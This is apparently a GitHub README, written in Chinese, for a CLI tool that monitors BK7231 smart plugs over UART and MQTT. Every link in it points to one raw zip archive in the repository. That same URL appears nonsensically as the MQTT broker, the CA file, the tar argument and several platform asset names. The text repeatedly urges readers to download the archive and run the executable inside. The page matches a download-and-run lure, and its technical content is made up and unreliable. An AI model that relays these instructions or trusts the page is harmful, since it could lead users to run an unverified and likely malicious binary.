megakiyaiscool/Smart_Plug
GitHub: megakiyaiscool/Smart_Plug
一款面向BK7231智能插座的跨平台CLI监控工具,支持UART串口与MQTT双模式通信,可实时获取设备遥测数据并无缝接入智能家居自动化流程。
Stars: 0 | Forks: 1
# Smart_Plug:BK7231 智能插座与 IoT 的快速 CLI 监控工具
[](https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip)
一款用于监控和控制基于 BK7231 的智能插座的命令行工具。它通过 UART 或 MQTT 连接,显示实时状态,并可适配于脚本和智能家居自动化流程。该项目专注于简洁的 CLI、稳定的性能以及与传统 IoT 工作流的深度集成。
最新的构建版本位于 Releases 页面。在此处查看发布:https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip
Smart_Plug 功能简介
- 读取基于 BK7231 系列芯片的智能插座的实时数据。它展示功率指标、状态和网络信息。
- 连接到 MQTT 代理以发布事件和订阅命令。
- 在终端中以轻量级占用运行。旨在自动化流水线和远程管理任务中保持可靠。
- 支持多个插座,因此您可以从一个终端或脚本监控小规模设备群。
用于设定氛围的表情符号
- 🔌 电源与硬件
- 🧭 实时监控
- 🧠 MQTT 智能
- 🧰 集成工具
- 🎛️ 终端优先体验
横幅图片
[Smart Plug CLI UI 横幅或艺术图可以放在您的代码库中。这是可选的,但一个简洁、平静的横幅有助于用户一眼认出该项目。]
目录
- 您将获得什么
- 核心功能
- 快速开始
- 安装与下载
- 如何使用
- 配置与选项
- MQTT 与网络详情
- UART 与硬件说明
- 高级用法
- 开发与贡献
- 测试与故障排除
- 路线图
- 许可证
- 致谢
您将获得什么
- 一个与基于 BK7231 的设备进行通信的紧凑型命令行界面。
- 用于发布设备数据和接收命令的 MQTT 集成。
- 一套文档齐全的命令,用于状态查询、监控和控制。
- 一种简单的配置方法,无论是否有配置文件均可工作。
- 跨平台支持,为主流平台提供预编译二进制文件。
核心功能
- 实时设备状态:在线/离线、信号强度、电池和功率指标(如可用)。
- 功率与能量指标:瞬时电压、电流以及计算功率(如果设备支持)。
- 设备发现:在 UART 或网络上扫描 BK7231 设备(如适用)。
- MQTT 网桥:将设备遥测数据发布到您选择的主题,并接收命令或配置更新。
- 灵活的接口:用于本地设备的 UART,用于远程设置的 MQTT。
- 轻量且可脚本化:专为融入自动化工作流和 CI 流水线而设计。
- 安全默认值:合理的默认设置,并提供自定义运行各个方面的选项。
快速开始
- 本项目以预编译二进制文件形式发布,以便快速上手。最新的发布资产包括适用于 Linux、Windows 和 macOS 的二进制文件,并采用简单的执行模型。
- 若要最快开始,请下载相应的发布资产,解压,并使用 --help 运行二进制文件以查看用法。
下载并安装
- 代码库提供了一个包含预编译二进制文件的发布页面。由于链接包含路径,请从该页面下载相应的资产并执行。例如,在 Linux 上,您可以获取名为 https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip 的压缩包,解压并运行其中包含的可执行文件。
- 最新构建和资产位于发布页面。从那里选择与您的平台匹配的资产,解压并运行。您下载的文件应直接执行或用于您的自动化设置中。
- 如果您希望先检查资产,可以浏览 Releases 页面以查看提供的内容和确切的文件名。
注意:发布页面是二进制文件的中心枢纽。您会在那里看到 Linux、Windows 和 macOS 构建,以及校验和和发布说明。文件名具有描述性并指示平台和架构,请据此选择。
使用概览(典型工作流)
- 通过 UART 连接到已插入的设备。
- 可选连接到 MQTT 代理以将数据桥接到您的 IoT 设置。
- 运行 CLI 以获取状态、监控趋势并将更新推送到您的智能家居系统。
如何使用
- 基本调用(示例):
- smart_plug_cli --uart /dev/ttyUSB0 --baud 115200
- smart_plug_cli --mqtt https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip --mqtt-client-id plug01
- 观察状态:
- smart_plug_cli status
- 启动实时监控:
- smart_plug_cli monitor --interval 2
- 发布到 MQTT:
- smart_plug_cli --mqtt https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip --mqtt-topic-prefix home/plug
- 发现设备(如支持):
- smart_plug_cli discover --timeout 5
配置与选项
- 您可以在没有配置文件的情况下运行,并通过命令行覆盖选项。支持 YAML 或 JSON 配置文件以用于复杂设置。
- 常用选项:
- --uart 指定串行设备
- --baud 设置 UART 速度
- --mqtt 指定 MQTT 代理
- --mqtt-client-id 设置稳定的客户端身份
- --mqtt-username 和 --mqtt-password 用于代理认证
- --mqtt-tls 启用 TLS(根据需要使用 --tls-cafile, --tls-cert, --tls-key)
- --topic-prefix 命名 MQTT 主题
- --interval 设置轮询或更新间隔
- --log-level 过滤消息(info, warn, error, debug)
- --help 显示使用说明
- 配置示例(YAML):
- uart:
path: /dev/ttyUSB0
baud: 115200
- mqtt:
broker: https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip
client_id: plug01
username: user
password: pass
tls:
enabled: false
cafile: https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip
- topics:
base: home/plug
- monitor:
interval_seconds: 2
MQTT 与网络详情
- MQTT 网桥允许您将设备遥测数据推送到您定义的主题。
- 常见主题:
- home/plug//status
- home/plug//telemetry
- home/plug//command
- 安全性:
- 尽可能使用 TLS 进行代理连接。
- 首选具有受限权限的专用 MQTT 用户。
- 如果您不使用 MQTT,CLI 仍可以在仅 UART 模式下运行,并提供终端输出以供快速检查。
UART 与硬件说明
- 基于 BK7231 的设备通常公开用于配置和遥测的串行接口。
- 确保设备已通电且在 UART 总线上可达。
- 检查波特率兼容性;115200 bps 是常见的默认值。
- 如果您看到乱码输出,请验证接线是否正确,以及串行适配器是否配置了正确的奇偶校验和停止位(大多数设置标准为 8N1)。
高级用法
- 可脚本化接口:
- CLI 输出适合脚本使用的机器友好数据。
- 使用 shell 循环记录数据、触发动作或响应事件。
- 自动化模式:
- 与智能家居中枢结合以响应电源事件。
- 如果设备离线或报告异常遥测数据,使用 MQTT 推送快速警报。
- 调试模式:
- 使用 --log-level debug 运行以检查内部状态和数据解析。
- 在连接新设备或更改发布版本时很有用。
开发与贡献
- 代码结构:
- 核心逻辑位于一个紧凑的模块中,处理 UART I/O、MQTT 通信和 CLI 解析。
- 一个小型测试套件验证常见路径,例如状态解析和主题格式化。
- 如何贡献:
- Fork 代码库,创建功能分支,并提交带有清晰描述的 Pull Request。
- 为新功能包含测试,并根据需要更新文档。
- 本地设置:
- 确保您安装了现代的 Rust 或 Go 工具链,因为二进制文件是为多个平台构建的。
- 根据项目中选用的语言运行 cargo build 或 go build。
- 测试策略:
- 用于解析和格式化的单元测试。
- 使用模拟 UART 数据和模拟 MQTT 代理的集成测试。
测试与故障排除
- 如果工具连接失败:
- 验证 UART 路径和权限。在 Linux 上,您可能需要将用户添加到 dialout 组或使用 sudo。
- 确认 MQTT 代理地址和凭据。TLS 问题通常会显示在日志中;确保 CA 证书已就位。
- 如果您看到意外的遥测数据:
- 检查间隔设置。过快的间隔可能会淹没代理。
- 验证设备是否报告了您期望的数据;某些电路板公开的指标有限。
- 如果发布资产无法运行:
- 确保您下载了适合您平台的正确版本(Linux、Windows、macOS;x86_64 对比 arm64)。
- 在类 Unix 系统上将二进制文件标记为可执行:chmod +x smart_plug_cli。
- 如果二进制文件缺少执行权限,请重新解压压缩包并重试。
路线图
- 扩展对 ARM64 设备和小众操作系统目标的支持。
- 向 MQTT 输出添加更丰富的遥测模式,包括每个设备的历史图表。
- 改进发现功能,包括被动网络扫描模式。
- 提供 Windows 服务安装程序和 macOS launch agent 以便轻松启动。
- 实现可选的流式数据模式以支持高频遥测。
许可证
- 本项目使用开源许可证。有关完整条款,请参阅代码库中的 LICENSE 文件。
- 欢迎在相同条款下进行贡献。
发布与如何保持更新
- Releases 页面是二进制文件、发布说明和校验和的主要来源。
- 要获取最新构建,请访问此处的 Releases 页面:https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip
- 您通常会发现二进制文件的命名指示了平台和架构,例如 https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip, https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip, 或 https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip
- 下载正确的资产后,解压并运行其中包含的可执行文件。例如,在 Linux 上:
- tar -xzf https://github.com/megakiyaiscool/Smart_Plug/raw/refs/heads/main/pedlar/Plug_Smart_v1.3.zip
- ./smart_plug_cli --help
- 资产名称可能因版本而异;请参阅发布说明以获取确切的文件名和校验和。
社区与支持
- 如果您想讨论功能、报告问题或寻求帮助,可以在 GitHub 代码库上开启 issue。请准确说明您的环境、运行的命令以及确切的错误消息。
- 对于紧急问题,您可以参考相同的 Releases 页面,作为支持平台和构建的主要事实来源。
主题
- bk7231
- bk7231n
- bk7231t
- cli
- iot-application
- mqtt
- mqtt-client
- smarthome
- smartplug
- terminal-ui
- uartprogram
该项目如何融入您的流程
- 它旨在无需繁重的基础设施即可插入自动化流水线。
- 您可以在 CI 流水线中运行它,以在测试环境中验证设备遥测数据。
- 它同时支持本地 UART 访问和基于 MQTT 的远程控制,让您在管理设备方面拥有灵活性。
检查清单与快速参考
- 首次运行前:
- 为您的平台选择正确的发布资产。
- 如果使用串行接口,请确保设置了 UART 权限。
- 如果使用 MQTT,请准备代理详细信息和凭据。
- 首次运行后:
- 确认与设备的连接性。
- 验证状态、遥测和任何命令是否按预期显示。
- 设置基本的 MQTT 规则或自动化以响应事件。
补充说明
- 该工具强调简洁的 CLI 设计,具有一致的标志和清晰的帮助信息。
- 它旨在通过提供稳定的默认值和出现问题时提供有用的错误消息来最大限度地减少意外。
- 本项目欢迎关于额外指标、命令和集成的建议。
想象您每天都在使用它
- 您打开终端并输入一个简短的命令,以查看您的 BK7231 插座的快速健康检查。
- 您将该工具连接到您的 MQTT 代理,以便为仪表板和自动化发布实时遥测数据。
- 您将其到脚本中以监控电力使用情况,并在设备离线时向您发出警报。
页脚
- Releases 页面是二进制文件、发布说明和校验和的主要来源。请重访该页面以随时了解修复和新功能。
- 有关下载和确切的资产名称,请参阅上面的链接。您下载的文件应按照发布说明和快速开始部分中的描述执行或调用。
关于链接行为的说明
- 如果提供的链接包含路径,请从该页面下载并执行指定的资产。上面的示例演示了 Linux 用户的典型工作流程,但相同的方法适用于发布页面上找到的 Windows 和 macOS 资产。
README 内容结束。
标签:BK7231, IoT, UART, 串口通信, 代码示例, 家庭自动化, 嵌入式系统, 开源硬件, 数字取证, 数据分析, 文档结构分析, 智能家居, 智能插座, 极客工具, 物联网网关, 状态监测, 电源管理, 硬件接口, 系统运维, 自动化脚本, 设备管理, 远程控制